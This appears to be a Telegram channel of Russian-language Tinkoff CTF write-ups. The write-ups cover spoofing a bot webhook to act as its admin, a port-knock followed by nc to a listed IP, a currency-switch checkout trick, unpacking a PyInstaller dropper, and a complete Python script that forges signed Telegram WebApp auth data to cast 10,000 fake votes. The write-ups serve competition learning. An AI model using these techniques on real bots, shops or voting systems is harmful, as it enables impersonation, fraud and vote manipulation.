решения задач по tinkoff CTF – Telegram
решения задач по tinkoff CTF
1.23K subscribers
29 photos
14 files
35 links
Здесь будут скидываться райтапы по заданиям по Tinkoff CTF.

Райтапы от других людей тоже приветствуются, по ним писать в ЛС: @EvgenyKurmysa
Download Telegram
#альткапоне от @bash_dev

Имею 2 команды,
/start - Дает меню с одной кнопкой "Да"
/admin - "Меню администратора доступно только @exmafiaguy"

Открыл данные сообщений, увидел там url картинки из ответа к /start: https://t-altcapone-r1m0mt9a.spbctf.net/images/mafia.webp

Перешел по нему, он показал варианты действий:
GET https://t-altcapone-r1m0mt9a.spbctf.net/
Use: ?action=<show_nginx_logs|start_ping>

Перешел по https://t-altcapone-r1m0mt9a.spbctf.net/?action=show_nginx_logs, увидел в логах "POST /telegram/webhook", понял то что работает он на вебхуках

Посмотрел id пользователя @exmafiaguy - 6818118044, Отправляю запросы на https://t-altcapone-r1m0mt9a.spbctf.net/telegram/webhook:
Первый с данными:
{
    "message": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "text": "/admin"
    }
}

Что бы увидеть что там есть в админке, ответ:
{
    "chat_id": 6818118044,
    "text": "Выберите действие",
    "reply_markup": {
        "inline_keyboard": [
            [{
                    "text": "Перезагрузить nginx",
                    "callback_data": "inline_button_restartnginx"
            }],
            [{
                    "text": "Атаковать example.org",
                    "callback_data": "inline_button_ddosexample"
            }],
            [{
                    "text": "Пинговать google.com",
                    "callback_data": "inline_button_pinggoogle"
            }],
            [{
                    "text": "Другие >>",
                    "callback_data": "inline_button_nextpage"
            }]
        ]
    },
    "method": "sendMessage"
}


Вижу что ничего нужного нет, шлю на следующую страницу,
{
    "callback_query": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "data": "inline_button_nextpage"
    }
}


Получаю то что искал,
{
    "chat_id": 6818118044,
    "text": "Выберите действие",
    "reply_markup": {
        "inline_keyboard": [
            [{
                    "text": "Отправить приглашение",
                    "callback_data": "inline_button_sendinvite"
            }]
        ]
    },
    "method": "sendMessage"
}


Отправляю приглашение:
{
    "callback_query": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "data": "inline_button_sendinvite"
    }
}


Просит отправить id пользователя которому нужно отправить приглашение с возможностью отмены:
{
    "chat_id": 6818118044,
    "text": "В следующие 10 секунд напишите ID чата, куда отправить приглашение",
    "method": "sendMessage"
}


Отправляю...
{
"message": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"text": "800863363"
}
}

Ответ:
{
"chat_id": 6818118044,
"text": "Успешно отправили приглашение.",
"method": "sendMessage"
}


И мне в телеграм приходит сообщение от бота, такое же как ответ на /start, но с кнопкой "Нет")
После нажатия кнопки "Нет" получаю флаг))
🔥9🤨2👍1
Forwarded from Alexey Kirillov
Элементарно, Ватсон!
Самое сложное - правильно посчитать индексы. Приведённая инструкция дошла через час после верчения в руках двух карандашей и ленты из бумаги: лента наматывается "бесконечностью", после чего сначала пишем на одной стороне слева-направо, сверху-вниз, потом переворачиваем на 180 градусов и повторяем. Было неизвестно количество "рёбер" карандаша и "витков". Но длина текста равна произведению числа рёбер на число витков, так что можно подобрать. Сочувствую расшифровывающим руками, так как в середине был ключ-обманка с неправильным оформлением.
task = "H_S_|_e_gImt-o_tdondFS_ta_nlv0PgOSuSKGyCen3s_td_:Oc|iuM__t_aiFCeLasaea|T:d_oStoo_te-osiaL35rdf}:Mppnym|F_itnhecfF4:_npdnohtke_|_Eped_bC_Kch|enu_ig_Daendw_Ren4IFShcrEiahit0Kr_maoese_ci_e5i|cnnr_itavtseneUelHe_n_crGtgblcn-eddaCrs_i|elddgyoonpa0trrshul3G_:_iuAe:LdS_p_:h_cltr_ffie:tr|n_P_3cdS_|oeu4es_7Ekm|iG_{ce|_gCe0aumt_ES-wns:doA_v_e|crM5kr-Mlh}fucAea_e_ecp__umriHsCeese_|_aaa|_lt1dnDrGleeTml_3do_ale_CM-CnrrIpafL:dBerl:chesIWelKserfuy_auygn3_{s__|ne|_te___anmees|1rlErs|edaVA_Ji|ag-rs_rfSrcey_sCO1ellc|:iRinfamCdo_c:GertDes|3_hn7si_rC_cLn0RnpaerMt|hcou_:|S:haaY|sJiaGtscn0ees_yaf-oampb_-u_ir}_Keepsre_eym_reM_x{_sl_iRt_sTsg|ce_nteadFnM_Rs_yH_AEtlTdocJphteI4yDk__n:otOPoo1siT_tw_i?Utoeeo:nm_riH2d_u|uuen:tnubhrtn|6fhc_r_deEune:_SnK5b|a_eerRaihkCh{ntFiTiRvmsi_taDe_LCtTrsnonteohtC_sochcaim|sThn_y71hihy|ek_e_fa}rW:raet_do-thed4_icaoe|-r3Crkfr|1a|glfeFen_|efrtEp_rn"

enc = "ADGYVSPMJ147BEHZWTQNK258CFI0XUROL369"
dec = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

def gen_inds(step = 3, grains_h = 3):
inds = []

for j in range(step):
common = j
for i in range(grains_h):
inds.append(common + i * step)
for i in range(grains_h):
inds.append(common + 2 * grains_h * step + (grains_h - 1 - i) * step)
for i in range(grains_h):
inds.append(common + grains_h * step + (grains_h - 1 - i) * step)
for i in range(grains_h):
inds.append(common + 3 * grains_h * step + i * step)
return inds

def encode(dec, step = 3, grains_h = 3):
inds = gen_inds(step, grains_h)
return "".join([dec[j] for j in inds])

def decode(enc, step = 3, grains_h = 3):
inds = gen_inds(step, grains_h)
res = ["?" for _ in range(4 * step * grains_h)]
for i, j in enumerate(inds):
res[j] = enc[i]
return "".join(res)

# Test example
# print(encode(dec) == enc)
# print(decode(enc) == dec)

# 864 = 2 * 2 * 2 * 2 * 2 * 3 * 3 * 3
# Text must be divided by 4 part, so we just try every 2 * 2 * 2 * 3 * 3 * 3 to 2 numbers

possible_step = [27]#[2, 3, 4, 6, 8, 9, 12, 18, 24, 27, 36, 54, 72, 108] # divisors of 216
for step in possible_step:
print(step, decode(task, step, 216 // step))
🔥5🤡3
Более лаконичная #золотаялопа от @himic5
Forwarded from HiMiC
Золотая Лопа

Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp

открывается порт 11111

коннектимся к нему
nc 45.82.152.190 11111

Вводим токен команды.
Получаем флаг.
😱2👍1
пятницемобиль: Переводишь себя на доллары. Добавляешь дорогую поездку в корзину. Открываешь корзину в новой вкладке, делаешь чекаут. В первой вкладке переводишь себя на рубли. Во второй вкладке нажимаешь "оплатить"
🤩1
репкозиторий: загружаем pdf в онлайн-конвертер в редактируемые форматы (я перегнала в pptx), убираем красную "наклеечку" и видим код на иллюстрации (в разделе, где про настройку для сбора конкретных плодов)
райтап 2.0 от @himic5 с указанием авторов
Forwarded from HiMiC
Золотая Лопа

Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp

открывается порт 11111

коннектимся к нему
nc 45.82.152.190 11111

Вводим токен команды.
Получаем флаг.

Авторы решения: @himic5 и @leonideath
Forwarded from Alexey Kirillov
Корпоративный шпионаж
По иконке понимаем, что exe собран с помощью PyInstaller, распаковываем через pyinstxtractor, внутри узнаём точную версию Python (3.10.0rc2) из dll и декомпилируем с помощью pycdc vacuum.pyc. Внутри видим создание двух файлов caqqwe1.exe и fmzasde, причём второй через 0.4 секунды удаляется. Не дадим удалить файл с помощью выставления прав на директорию (работает в windows). caqqwe1.exe разбираем аналогично стартовому бинарнику, видим процесс импорта fmzasde, скачиваем конкретную версию embedded python для корректной работы marshal и выполняем в нём:
import marshal
import types

c = open('fmzasde.bak', 'rb')
pc = c.read()
c.close()

co = marshal.loads(pc)
m = types.ModuleType('name')
exec(co, m.__dict__)

# Here we can see methods
print(m.__dict__)

print(m.generate_passwd())
🔥3
Forwarded from Dan
import base64
import hashlib
import hmac
import json
import urllib.parse
from pathlib import Path
from dataclasses import dataclass, asdict

import requests

CONTESTANT_ID = "2384"
URL = "https://t-pageant-ekbooq0e.spbctf.net"
LOCALHOST = "http://localhost:63343/tinkoffCtf/web/miss_frod.html?_ijt=15d7vtc5mvmel9bkdhfjplqt9q&_ij_reload=RELOAD_ON_SAVE"
SECRET_KEY = bytes.fromhex("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83")


@dataclass
class User:
id: int
username: str
first_name: str
last_name: str
language_code: str

@staticmethod
def from_string(data: str) -> "User":
data = json.loads(data)
return User(
id=data["id"],
username=data["username"],
first_name=data["first_name"],
last_name=data["last_name"],
language_code=data["language_code"],
)

def serialize(self) -> dict:
return asdict(self)


@dataclass
class InitData:
user: User

def data(self) -> dict:
return {
"user": json.dumps(self.user.serialize(), ensure_ascii=False),
}

@property
def hash(self) -> str:
data = self.data()
keys = sorted(data.keys())
check_string = '\n'.join([f'{key}={data[key]}' for key in keys])
dig = hmac.new(SECRET_KEY, check_string.encode(), digestmod=hashlib.sha256)
return dig.hexdigest()

@staticmethod
def read_from_file(file_path: Path | str) -> "InitData":
file_path = Path(str(file_path))
lines: list[str] = [line.strip() for line in file_path.read_text(encoding="utf-8").splitlines() if line.strip()]
data = {line.split("=")[0]: line.split("=")[1] for line in lines}
return InitData(
user=User.from_string(data["user"]),
)

def save(self, out_path: Path | str) -> None:
out_path = Path(str(out_path))
out_path.write_text(json.dumps(self.data(), ensure_ascii=False, indent=2), encoding="utf-8")

def serialize(self) -> dict:
return {
**self.data(),
"user": urllib.parse.quote(json.dumps(self.user.serialize(), ensure_ascii=False)),
"hash": self.hash,
}

def to_string(self) -> str:
return json.dumps(self.serialize(), ensure_ascii=False)

@property
def tg_web_app_data(self) -> str:
return '&'.join([f'{key}={value}' for key, value in self.serialize().items()])

@property
def auth_token(self) -> str:
return base64.b64encode(('"' + self.tg_web_app_data + '"').encode()).decode()

def web_app_url(self, base_url: str) -> str:
return f"{base_url}#tgWebAppData={urllib.parse.quote(self.tg_web_app_data)}"

def mutate(self, step: int = 1) -> None:
self.user.id += step

def vote_for_contestant(self, contestant_id: str) -> str:
response = requests.post(
f"{URL}/api/vote",
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {self.auth_token}",
},
json={"contestant_id": contestant_id}
)
print(response.json())


def vote(contestant_id: str) -> None:
telegram_user = InitData.read_from_file("data.txt")
telegram_user.mutate(1000)
for i in range(10000):
telegram_user.mutate()
telegram_user.vote_for_contestant(contestant_id)


def main():
vote(CONTESTANT_ID)


if __name__ == '__main__':
main()
🤯4🔥2
Forwarded from Dan
data.txt

user={"id":332067775,"first_name":"test","last_name":"","username":"test","language_code":"ru","is_premium":true,"allows_write_to_pm":true}
Forwarded from Alexey Kirillov
25-й кадр
Видим кадр, не успеваем посмотреть. Поэтому запишем экран (sic!) и посмотрим покадрово. Видно, что ключ не влез в кадр, но видна строка, которую можно найти в ghidra. Находим, в каком месте её используют и видим, что ключ вычисляется. Воспользуемся фичей time-travel debugging в windbg, после чего посмотрим результат форматирования строки в памяти (отловим доступ на чтение форматной строки и пройдём по адресу из регистра).
😁5